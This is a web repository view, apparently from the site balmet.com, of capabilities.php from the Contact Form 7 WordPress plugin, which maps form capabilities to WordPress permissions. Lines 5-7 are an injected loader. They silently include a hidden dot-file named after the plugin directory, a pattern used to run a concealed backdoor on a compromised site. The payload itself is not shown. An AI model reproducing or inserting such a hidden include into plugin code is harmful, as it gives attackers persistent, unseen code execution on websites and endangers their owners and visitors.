balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

capabilities.php (1058B)


      1 <?php
      2 
      3 add_filter( 'map_meta_cap', 'wpcf7_map_meta_cap', 10, 4 );
      4 
      5 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
      6     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
      7 }
      8 
      9 function wpcf7_map_meta_cap( $caps, $cap, $user_id, $args ) {
     10 	$meta_caps = array(
     11 		'wpcf7_edit_contact_form' => WPCF7_ADMIN_READ_WRITE_CAPABILITY,
     12 		'wpcf7_edit_contact_forms' => WPCF7_ADMIN_READ_WRITE_CAPABILITY,
     13 		'wpcf7_read_contact_form' => WPCF7_ADMIN_READ_CAPABILITY,
     14 		'wpcf7_read_contact_forms' => WPCF7_ADMIN_READ_CAPABILITY,
     15 		'wpcf7_delete_contact_form' => WPCF7_ADMIN_READ_WRITE_CAPABILITY,
     16 		'wpcf7_delete_contact_forms' => WPCF7_ADMIN_READ_WRITE_CAPABILITY,
     17 		'wpcf7_manage_integration' => 'manage_options',
     18 		'wpcf7_submit' => 'read',
     19 	);
     20 
     21 	$meta_caps = apply_filters( 'wpcf7_map_meta_cap', $meta_caps );
     22 
     23 	$caps = array_diff( $caps, array_keys( $meta_caps ) );
     24 
     25 	if ( isset( $meta_caps[$cap] ) ) {
     26 		$caps[] = $meta_caps[$cap];
     27 	}
     28 
     29 	return $caps;
     30 }